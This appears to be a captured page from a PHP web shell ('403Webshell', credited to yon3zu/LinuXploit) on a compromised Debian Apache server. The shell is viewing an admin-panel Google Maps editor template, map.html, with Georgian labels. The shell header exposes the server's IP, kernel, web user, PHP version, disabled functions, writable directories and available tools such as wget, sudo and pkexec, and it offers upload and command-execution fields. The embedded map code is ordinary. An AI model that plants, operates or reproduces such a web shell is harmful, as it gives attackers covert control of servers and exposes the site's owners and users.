403Webshell
Server IP : 80.241.246.6  /  Your IP : 216.73.216.188
Web Server : Apache/2.4.25 (Debian)
System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : www-data ( 33)
PHP Version : 7.0.33-0+deb9u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/kharagauli_new/admin/view/templates_1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kharagauli_new/admin/view/templates_1/map.html
 <!DOCTYPE html>
<html>
<head>
   <title></title>
   <meta charset="utf-8"/>
   <link rel="stylesheet" type="text/css" href="/bower_components/bootstrap/dist/css/bootstrap.min.css">
   <link rel="stylesheet" type="text/css" href="/bower_components/bootstrap-toggle/css/bootstrap-toggle.min.css">
    <style>
        #map-canvas {
            height: 100%;
            min-height: 800px;
            margin: 0px;
            padding: 0px
        }
        #panel {
            position: absolute;
            top: 5px;
            left: 40%;
            margin-left: -180px;
            z-index: 5;
            background-color: #fff;
            padding: 5px;
            border: 1px solid #999;
        }
        #panel input[type="textbox"]{
            margin-left: -7px;
            width: 116%;
        }
        #panel input[type="button"]{
            padding: 5px;
            cursor: pointer;
        }
        .display_none{
            display: none
        }
        #inp textarea{
            width: 100%;
            height: 100%
        }
    </style>

</head>
    <body>
        <div id="panel">
            <div class="row">
                <div class="col-xs-2">
                    <button id="save_changes_button" class="btn btn-primary disabled" type="button" onclick="save_changes(this)">შენახვა</button>
                </div>
                <div class="col-xs-2">
                    <input id="jobs_mode" data-toggle="toggle" data-on="edit" data-off="view" data-onstyle="success" type="checkbox">
                </div>
                <div class="col-xs-8">
                     <div class="input-group">
                          <input type="textbox" id="address" class="form-control" value="">
                          <span class="input-group-btn">
                            <button class="btn btn-default" type="button" onclick="codeAddress()">ძიება</button>
                          </span>
                    </div>
                </div>
            </div>
        </div>


        <div id="map-canvas"></div>



<div id="modal" class="modal fade">
  <div class="modal-dialog">
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
        <h4 class="modal-title">შიგთავსი</h4>
      </div>
      <div class="modal-body">
        <div id="inp">
            <textarea id="comment" placeholder="შეიყვანეთ შიგთავსი"></textarea>
        </div>
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-default" data-dismiss="modal">დახურვა</button>
      </div>
    </div><!-- /.modal-content -->
  </div><!-- /.modal-dialog -->
</div><!-- /.modal -->


    <!--wysibb-->
    <script src="/bower_components/jquery/dist/jquery.min.js"></script>
    <script src="/bower_components/bootstrap/dist/js/bootstrap.min.js"></script>
    <script src="/bower_components/bootstrap-toggle/js/bootstrap-toggle.min.js"></script>
    <link rel="stylesheet" href="/bower_components/wysibb/theme/default/wbbtheme.css"/>
    <script src="/bower_components/wysibb/jquery.wysibb.min.js"></script>
    <!--wysibb-->    
    <script src="https://maps.googleapis.com/maps/api/js?v=3.exp&language=ka"></script>
    
    <script>
          

        var geocoder;
        var map;
        var markersArray = [];
        var position_object = {
            lat:'',
            lon:''
        };
        function initialize() {
            geocoder = new google.maps.Geocoder();
            var latlng = new google.maps.LatLng(position_object.lat,position_object.lon);
            var mapOptions = {
                zoom: 8,
                center: latlng
            }
            map = new google.maps.Map(document.getElementById('map-canvas'), mapOptions);

            var marker = new google.maps.Marker({
                map: map,
                position: latlng,
                animation: google.maps.Animation.DROP,
                draggable:true
            });

            google.maps.event.addListener(marker, 'dragend', function() {
                map.setCenter(marker.getPosition());
                geocodePosition(marker.getPosition());
            });

            google.maps.event.addListener(marker, 'click', function() {
                if($("#jobs_mode").is(":checked")){
                    $('#modal').modal('toggle');
                    $("#save_changes_button").removeClass("disabled");
                }else{
                    var cnt = $("#comment").htmlcode();
                    var infowindow = new google.maps.InfoWindow({
                        content:cnt
                      });
                    infowindow.open(map, this);
                }
            });

            clearOverlays();
            markersArray.push(marker);

            
        }

        function codeAddress() {
            var address = document.getElementById('address').value || 'თბილსი, საქართველო';
            geocoder.geocode( { 'address': address}, function(results, status) {
                if (status == google.maps.GeocoderStatus.OK) {
                    map.setCenter(results[0].geometry.location);
                    var marker = new google.maps.Marker({
                        map: map,
                        position: results[0].geometry.location,
                        draggable:true
                    });
                    clearOverlays();
                    markersArray.push(marker);
                    google.maps.event.addListener(marker, 'dragend', function() {
                        map.setCenter(marker.getPosition());
                        geocodePosition(marker.getPosition());
                    });
                    geocodePosition(marker.getPosition());

                } else {
                    alert('შედეგი ვერ მოიძებნა: ' + status);
                }
            });
        }



        function geocodePosition(pos){
            geocoder = new google.maps.Geocoder();
            geocoder.geocode({
                        latLng: pos
                    },
                    function(results, status){
                        if(status == google.maps.GeocoderStatus.OK){
                            var obj_ = {};
                            // console.log(pos)
                            // position_object.lat   = pos.k || pos.H;
                            // position_object.lon   = (pos.B || pos.D) || pos.L;
                            // var key_ = [];
                            // for(var i in pos)
                            //     if(typeof pos[i] == 'number')
                            //         key_.push(pos[i]);
                            position_object.lat = results[0].geometry.location.lat();
                            position_object.lon = results[0].geometry.location.lng();
                            obj_.res = results[0].formatted_address;
                            document.getElementById("address").value = obj_.res;
                            $("#save_changes_button").removeClass("disabled");
                            //send_to_parent(obj_);
                        }
                    }
            );
        }

        function clearOverlays() {
            for (var i = 0; i < markersArray.length; i++ ) {
                markersArray[i].setMap(null);
            }
            markersArray.length = 0;
        }


        function send_to_parent(a){
            window.parent.postMessage(
                    a,
                    "*"
            );
        }
        
        function save_changes(ths){
            if($(ths).is(".disabled"))return;
            var obj = {};
            obj.coordinats = position_object;
            obj.info_win = $("#comment").htmlcode();
            obj.address_to_string = document.getElementById('address').value;
            send_to_parent(obj);
            //console.log(obj);
            document.body.style.opacity = "0.1";
        }

        function get_message(message){
            if(message.data.hasOwnProperty("info_win")){
                position_object = message.data.position;
                document.getElementById('address').value = message.data.address_to_string;
                initialize();   
                $("#comment").wysibb({
                    buttons: "bold,italic,underline,|,img,link,video,|,code,quote",
                    resize_maxheight:150,
                    traceTextarea:true
                }).htmlcode(message.data.info_win);
            }
        }

        window.addEventListener('keypress',function(e){
            if(e.keyCode == 13)codeAddress();
        },false);

        window.addEventListener("message", get_message,false);

        $(function(){
            send_to_parent({window_height: document.body.clientHeight});
        });  

    </script>
    </body>
</html>  











Youez - 2016 - github.com/yon3zu
LinuXploit